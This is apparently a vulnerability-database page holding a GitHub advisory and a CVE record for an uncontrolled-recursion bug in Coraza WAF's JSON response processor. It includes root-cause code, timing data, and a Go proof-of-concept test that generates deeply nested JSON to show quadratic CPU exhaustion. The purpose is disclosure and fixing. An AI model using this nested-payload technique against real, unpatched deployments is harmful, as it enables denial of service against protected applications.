Vulnerability-Lookup

GHSA-3C6W-J9XM-8H2H

Vulnerability from github – Published: 2026-10-08 17:51 – Updated: 2026-10-09 17:40

Summary

Coraza: Unbounded recursion in JSON response body processor causes CPU exhaustion

Details

Summary

The JSON response body processor parses response bodies with no recursion limit. ProcessResponse calls readJSON(ss, ignoreJSONRecursionLimit), and that constant is -1. The guard in readItems only fires on == 0, so counting down from -1 (-2, -3, ...) never reaches it. The guard is effectively dead on the response path. The request path is fine: ProcessRequest passes the configured limit (default 1024). There is no equivalent directive or default for responses.

Parsing a deeply nested JSON response is CPU-bound and its cost grows quadratically with nesting depth. A 512 KiB response (the default ResponseBodyLimit) holds about 87,000 nesting levels and takes ~12 s to process, keeping one core busy the whole time.

Root cause

internal/bodyprocessors/json.go

const ignoreJSONRecursionLimit = -1                     // line 51

func (js *jsonBodyProcessor) ProcessResponse(reader io.Reader, v ..., _ plugintypes.BodyProcessorOptions) error {
    ...
    data, err := readJSON(ss, ignoreJSONRecursionLimit) // line 62, passes -1
}

func (js *jsonBodyProcessor) ProcessRequest(...) error {
    ...
    data, err := readJSON(ss, bpo.RequestBodyRecursionLimit) // line 32, default 1024
}

The guard and the decrement:

func readItems(json gjson.Result, objKey []byte, maxRecursion int, res map[string]string) error {
    if maxRecursion == 0 {                              // line 106
        return errors.New("max recursion reached while reading json object")
    }
    ...
    iterationError = readItems(value, objKey, maxRecursion-1, res) // line 126

Note that ProcessResponse discards BodyProcessorOptions (the parameter is _), so even a caller that wanted to set a limit on responses has no way to.

Why the cost is quadratic

Every nesting level re-parses the remaining nested document through gjson.ForEach, so total work is O(n²) in the depth. Numbers below were measured on an Intel Core Ultra 7 255H, Go 1.22.2, gjson v1.18.0, at commit db9850b2 (v3.7.0-55):

depth   bytes    ProcessResponse time
5000    30004    30 ms
10000   60004    119 ms
20000   120004   456 ms
40000   240004   2.18 s
87381   524290   12.09 s

Log-log slope between adjacent rows lands between 1.93 and 2.26 (2.09 across the full range), which matches quadratic. Roughly 87,000 levels is the most that fits inside the default 512 KiB ResponseBodyLimit.

PoC

Save as internal/bodyprocessors/poc_json_test.go, then:

go test -v -timeout 120s -run TestPoCJSONResponse ./internal/bodyprocessors/...

package bodyprocessors_test

import (
      "strings"
      "testing"
      "time"

      "github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes"
      "github.com/corazawaf/coraza/v3/internal/bodyprocessors"
      "github.com/corazawaf/coraza/v3/internal/corazawaf"
)

func nestedJSON(depth int) string {
      var sb strings.Builder
      sb.Grow(depth*6 + 4)
      for i := 0; i < depth; i++ {
              sb.WriteString(`{"a":`)
      }
      sb.WriteString("null")
      for i := 0; i < depth; i++ {
              sb.WriteByte('}')
      }
      return sb.String()
}

func TestPoCJSONResponse(t *testing.T) {
      proc, _ := bodyprocessors.GetBodyProcessor("json")

      // Request path is bounded, response path is not.
      body := nestedJSON(5000)
      v := corazawaf.NewTransactionVariables()
      errReq := proc.ProcessRequest(strings.NewReader(body), v,
              plugintypes.BodyProcessorOptions{RequestBodyRecursionLimit: 1024})
      errRes := proc.ProcessResponse(strings.NewReader(body), v,
              plugintypes.BodyProcessorOptions{})
      t.Logf("depth=5000 ProcessRequest  err=%v", errReq)
      t.Logf("depth=5000 ProcessResponse err=%v", errRes)

      // Quadratic scaling on the response path.
      for _, depth := range []int{5000, 10000, 20000, 40000, 87381} {
              b := nestedJSON(depth)
              vv := corazawaf.NewTransactionVariables()
              start := time.Now()
              proc.ProcessResponse(strings.NewReader(b), vv,
                      plugintypes.BodyProcessorOptions{})
              t.Logf("depth=%-6d bytes=%-7d time=%v", depth, len(b), time.Since(start))
      }
}

Output on the reference machine:

depth=5000 ProcessRequest  err=max recursion reached while reading json object
depth=5000 ProcessResponse err=<nil>
depth=5000   bytes=30004   time=30.3ms
depth=10000  bytes=60004   time=119.3ms
depth=20000  bytes=120004  time=456.1ms
depth=40000  bytes=240004  time=2.185s
depth=87381  bytes=524290  time=12.085s

Impact

This needs ResponseBodyAccess turned on and a backend that returns JSON (application/json). Reflection endpoints, download APIs that serve user-supplied content, and JSON error responses that echo back user input are all plausible ways to route a nested body back through the WAF.

The work happens in a single goroutine and is CPU-bound: the body is already in memory, so there is no I/O during the parse. Each such request holds one core for its entire run, about 12 s per 512 KiB body at the default limit. N concurrent requests take N cores. The request path has enforced a recursion limit since v3.3.3; responses never have.

Suggested fix

Bound ProcessResponse the same way the request path is bounded: add a ResponseBodyRecursionLimit directive, or just pass RequestBodyRecursionLimit instead of -1.

Severity

5.9 (Medium)


                  
                    CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

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{
  "affected": [
    {
      "package": {
        "ecosystem": "Go",
        "name": "github.com/corazawaf/coraza/v3"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "3.0.0"
            },
            {
              "fixed": "3.8.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-107833"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-674"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T17:51:42Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\nThe JSON response body processor parses response bodies with no recursion\nlimit. `ProcessResponse` calls `readJSON(ss, ignoreJSONRecursionLimit)`, and\nthat constant is `-1`. The guard in `readItems` only fires on `== 0`, so\ncounting down from `-1` (-2, -3, ...) never reaches it. The guard is effectively\ndead on the response path. The request path is fine: `ProcessRequest` passes the\nconfigured limit (default 1024). There is no equivalent directive or default for\nresponses.\n\nParsing a deeply nested JSON response is CPU-bound and its cost grows\nquadratically with nesting depth. A 512 KiB response (the default\n`ResponseBodyLimit`) holds about 87,000 nesting levels and takes ~12 s to\nprocess, keeping one core busy the whole time.\n\n### Root cause\n\n`internal/bodyprocessors/json.go`\n\n```go\nconst ignoreJSONRecursionLimit = -1                     // line 51\n\nfunc (js *jsonBodyProcessor) ProcessResponse(reader io.Reader, v ..., _ plugintypes.BodyProcessorOptions) error {\n    ...\n    data, err := readJSON(ss, ignoreJSONRecursionLimit) // line 62, passes -1\n}\n\nfunc (js *jsonBodyProcessor) ProcessRequest(...) error {\n    ...\n    data, err := readJSON(ss, bpo.RequestBodyRecursionLimit) // line 32, default 1024\n}\n```\n\nThe guard and the decrement:\n\n```go\nfunc readItems(json gjson.Result, objKey []byte, maxRecursion int, res map[string]string) error {\n    if maxRecursion == 0 {                              // line 106\n        return errors.New(\"max recursion reached while reading json object\")\n    }\n    ...\n    iterationError = readItems(value, objKey, maxRecursion-1, res) // line 126\n```\n\nNote that `ProcessResponse` discards `BodyProcessorOptions` (the parameter is\n`_`), so even a caller that wanted to set a limit on responses has no way to.\n\n### Why the cost is quadratic\n\nEvery nesting level re-parses the remaining nested document through\n`gjson.ForEach`, so total work is O(n\u00b2) in the depth. Numbers below were measured\non an Intel Core Ultra 7 255H, Go 1.22.2, gjson v1.18.0, at commit db9850b2\n(v3.7.0-55):\n\n```\ndepth   bytes    ProcessResponse time\n5000    30004    30 ms\n10000   60004    119 ms\n20000   120004   456 ms\n40000   240004   2.18 s\n87381   524290   12.09 s\n```\n\nLog-log slope between adjacent rows lands between 1.93 and 2.26 (2.09 across the\nfull range), which matches quadratic. Roughly 87,000 levels is the most that\nfits inside the default 512 KiB `ResponseBodyLimit`.\n\n### PoC\n\nSave as `internal/bodyprocessors/poc_json_test.go`, then:\n\n```\ngo test -v -timeout 120s -run TestPoCJSONResponse ./internal/bodyprocessors/...\n```\n\n```go\npackage bodyprocessors_test\n\nimport (\n      \"strings\"\n      \"testing\"\n      \"time\"\n\n      \"github.com/corazawaf/coraza/v3/experimental/plugins/plugintypes\"\n      \"github.com/corazawaf/coraza/v3/internal/bodyprocessors\"\n      \"github.com/corazawaf/coraza/v3/internal/corazawaf\"\n)\n\nfunc nestedJSON(depth int) string {\n      var sb strings.Builder\n      sb.Grow(depth*6 + 4)\n      for i := 0; i \u003c depth; i++ {\n              sb.WriteString(`{\"a\":`)\n      }\n      sb.WriteString(\"null\")\n      for i := 0; i \u003c depth; i++ {\n              sb.WriteByte(\u0027}\u0027)\n      }\n      return sb.String()\n}\n\nfunc TestPoCJSONResponse(t *testing.T) {\n      proc, _ := bodyprocessors.GetBodyProcessor(\"json\")\n\n      // Request path is bounded, response path is not.\n      body := nestedJSON(5000)\n      v := corazawaf.NewTransactionVariables()\n      errReq := proc.ProcessRequest(strings.NewReader(body), v,\n              plugintypes.BodyProcessorOptions{RequestBodyRecursionLimit: 1024})\n      errRes := proc.ProcessResponse(strings.NewReader(body), v,\n              plugintypes.BodyProcessorOptions{})\n      t.Logf(\"depth=5000 ProcessRequest  err=%v\", errReq)\n      t.Logf(\"depth=5000 ProcessResponse err=%v\", errRes)\n\n      // Quadratic scaling on the response path.\n      for _, depth := range []int{5000, 10000, 20000, 40000, 87381} {\n              b := nestedJSON(depth)\n              vv := corazawaf.NewTransactionVariables()\n              start := time.Now()\n              proc.ProcessResponse(strings.NewReader(b), vv,\n                      plugintypes.BodyProcessorOptions{})\n              t.Logf(\"depth=%-6d bytes=%-7d time=%v\", depth, len(b), time.Since(start))\n      }\n}\n```\n\nOutput on the reference machine:\n\n```\ndepth=5000 ProcessRequest  err=max recursion reached while reading json object\ndepth=5000 ProcessResponse err=\u003cnil\u003e\ndepth=5000   bytes=30004   time=30.3ms\ndepth=10000  bytes=60004   time=119.3ms\ndepth=20000  bytes=120004  time=456.1ms\ndepth=40000  bytes=240004  time=2.185s\ndepth=87381  bytes=524290  time=12.085s\n```\n\n### Impact\n\nThis needs `ResponseBodyAccess` turned on and a backend that returns JSON\n(`application/json`). Reflection endpoints, download APIs that serve\nuser-supplied content, and JSON error responses that echo back user input are\nall plausible ways to route a nested body back through the WAF.\n\nThe work happens in a single goroutine and is CPU-bound: the body is already in\nmemory, so there is no I/O during the parse. Each such request holds one core\nfor its entire run, about 12 s per 512 KiB body at the default limit. N\nconcurrent requests take N cores. The request path has enforced a recursion\nlimit since v3.3.3; responses never have.\n\n### Suggested fix\n\nBound `ProcessResponse` the same way the request path is bounded: add a\n`ResponseBodyRecursionLimit` directive, or just pass `RequestBodyRecursionLimit`\ninstead of `-1`.",
  "id": "GHSA-3c6w-j9xm-8h2h",
  "modified": "2026-10-09T17:40:17Z",
  "published": "2026-10-08T17:51:42Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/security/advisories/GHSA-3c6w-j9xm-8h2h"
    },
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/commit/cae3c7407e7b84372c207033de03f15f89bf351a"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/corazawaf/coraza"
    },
    {
      "type": "WEB",
      "url": "https://github.com/corazawaf/coraza/releases/tag/v3.8.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Coraza: Unbounded recursion in JSON response body processor causes CPU exhaustion"
}

CVE-2026-107833 (GCVE-0-2026-107833)

Vulnerability from cvelistv5 – Published: 2026-10-09 17:39 – Updated: 2026-10-09 18:02

Title

OWASP Coraza WAF: Unbounded recursion in JSON response body processor causes CPU exhaustion

Summary

OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, ProcessResponse in internal/bodyprocessors/json.go passes the ignoreJSONRecursionLimit value of -1 to readJSON, while the recursive guard only stops at zero. A network attacker who can cause an application protected by Coraza to return deeply nested JSON can make response-body processing perform quadratic work, consuming one CPU core for seconds per response within the default ResponseBodyLimit. Request JSON processing is not affected by this specific path because it uses the configured request recursion limit, and exploitation requires response-body inspection to be enabled. This issue is fixed in version 3.8.0.

Severity

5.9 (Medium)


                        
                          CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H

SSVC

Exploitation: poc Automatable: no Technical Impact: partial

CISA Coordinator · CISA-ADP (v2.0.3)

Decision recorded 2026-10-09 18:01 UTC

CWE

CWE-674 - Uncontrolled Recursion

Assigner

GitHub_M CNA under the mitre root

CNA scorecard C 72/100 over 7595 records in the last 180 days details

References

3 references

URL	Tags
https://github.com/corazawaf/coraza/security/advi…	x_refsource_CONFIRM
https://github.com/corazawaf/coraza/commit/cae3c7…	x_refsource_MISC
https://github.com/corazawaf/coraza/releases/tag/v3.8.0	x_refsource_MISC

Impacted products

1 product

Vendor	Product	Version
corazawaf	coraza	Affected: >= 3.0.0, < 3.8.0

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JSON

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{
  "containers": {
    "adp": [
      {
        "metrics": [
          {
            "other": {
              "content": {
                "id": "CVE-2026-107833",
                "options": [
                  {
                    "Exploitation": "poc"
                  },
                  {
                    "Automatable": "no"
                  },
                  {
                    "Technical Impact": "partial"
                  }
                ],
                "role": "CISA Coordinator",
                "timestamp": "2026-10-09T18:01:32.504807Z",
                "version": "2.0.3"
              },
              "type": "ssvc"
            }
          }
        ],
        "providerMetadata": {
          "dateUpdated": "2026-10-09T18:02:08.775Z",
          "orgId": "134c704f-9b21-4f2e-91b3-4a467353bcc0",
          "shortName": "CISA-ADP"
        },
        "references": [
          {
            "tags": [
              "exploit"
            ],
            "url": "https://github.com/corazawaf/coraza/security/advisories/GHSA-3c6w-j9xm-8h2h"
          }
        ],
        "title": "CISA ADP Vulnrichment"
      }
    ],
    "cna": {
      "affected": [
        {
          "product": "coraza",
          "vendor": "corazawaf",
          "versions": [
            {
              "status": "affected",
              "version": "\u003e= 3.0.0, \u003c 3.8.0"
            }
          ]
        }
      ],
      "descriptions": [
        {
          "lang": "en",
          "value": "OWASP Coraza WAF is a golang modsecurity compatible web application firewall library. From 3.0.0 until 3.8.0, ProcessResponse in internal/bodyprocessors/json.go passes the ignoreJSONRecursionLimit value of -1 to readJSON, while the recursive guard only stops at zero. A network attacker who can cause an application protected by Coraza to return deeply nested JSON can make response-body processing perform quadratic work, consuming one CPU core for seconds per response within the default ResponseBodyLimit. Request JSON processing is not affected by this specific path because it uses the configured request recursion limit, and exploitation requires response-body inspection to be enabled. This issue is fixed in version 3.8.0."
        }
      ],
      "metrics": [
        {
          "cvssV3_1": {
            "attackComplexity": "HIGH",
            "attackVector": "NETWORK",
            "availabilityImpact": "HIGH",
            "baseScore": 5.9,
            "baseSeverity": "MEDIUM",
            "confidentialityImpact": "NONE",
            "integrityImpact": "NONE",
            "privilegesRequired": "NONE",
            "scope": "UNCHANGED",
            "userInteraction": "NONE",
            "vectorString": "CVSS:3.1/AV:N/AC:H/PR:N/UI:N/S:U/C:N/I:N/A:H",
            "version": "3.1"
          }
        }
      ],
      "problemTypes": [
        {
          "descriptions": [
            {
              "cweId": "CWE-674",
              "description": "CWE-674: Uncontrolled Recursion",
              "lang": "en",
              "type": "CWE"
            }
          ]
        }
      ],
      "providerMetadata": {
        "dateUpdated": "2026-10-09T17:39:48.049Z",
        "orgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
        "shortName": "GitHub_M"
      },
      "references": [
        {
          "name": "https://github.com/corazawaf/coraza/security/advisories/GHSA-3c6w-j9xm-8h2h",
          "tags": [
            "x_refsource_CONFIRM"
          ],
          "url": "https://github.com/corazawaf/coraza/security/advisories/GHSA-3c6w-j9xm-8h2h"
        },
        {
          "name": "https://github.com/corazawaf/coraza/commit/cae3c7407e7b84372c207033de03f15f89bf351a",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/corazawaf/coraza/commit/cae3c7407e7b84372c207033de03f15f89bf351a"
        },
        {
          "name": "https://github.com/corazawaf/coraza/releases/tag/v3.8.0",
          "tags": [
            "x_refsource_MISC"
          ],
          "url": "https://github.com/corazawaf/coraza/releases/tag/v3.8.0"
        }
      ],
      "source": {
        "advisory": "GHSA-3c6w-j9xm-8h2h",
        "discovery": "UNKNOWN"
      },
      "title": "OWASP Coraza WAF: Unbounded recursion in JSON response body processor causes CPU exhaustion"
    }
  },
  "cveMetadata": {
    "assignerOrgId": "a0819718-46f1-4df5-94e2-005712e83aaa",
    "assignerShortName": "GitHub_M",
    "cveId": "CVE-2026-107833",
    "datePublished": "2026-10-09T17:39:48.049Z",
    "dateReserved": "2026-10-08T22:34:49.288Z",
    "dateUpdated": "2026-10-09T18:02:08.775Z",
    "state": "PUBLISHED"
  },
  "dataType": "CVE_RECORD",
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}

Sightings

Author	Source	Type	Date	Other

Nomenclature

Seen: The vulnerability was mentioned, discussed, or observed by the user.
Confirmed: The vulnerability has been validated from an analyst's perspective.
Published Proof of Concept: A public proof of concept is available for this vulnerability.
Exploited: The vulnerability was observed as exploited by the user who reported the sighting.
Patched: The vulnerability was observed as successfully patched by the user who reported the sighting.
Not exploited: The vulnerability was not observed as exploited by the user who reported the sighting.
Not confirmed: The user expressed doubt about the validity of the vulnerability.
Not patched: The vulnerability was not observed as successfully patched by the user who reported the sighting.

The MITRE ATT&CK techniques below are AI-generated suggestions, inferred from the description of the vulnerability by the CIRCL/vulnerability-attack-technique-classification-roberta-base model, served locally by ML-Gateway. They have not been verified by an analyst and are provided for guidance only.
The approach is described in our paper Mapping CVEs to MITRE ATT&CK Techniques: A Curated Gold-Set Classifier and the Limits of LLM-Assisted Label Expansion.
Browse all ATT&CK techniques and the vulnerabilities related to each.

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Action not permitted

GHSA-3C6W-J9XM-8H2H

Summary

Root cause

Why the cost is quadratic

PoC

Impact

Suggested fix

CVE-2026-107833 (GCVE-0-2026-107833)

Tags

Sightings

Nomenclature

Related by attack behaviour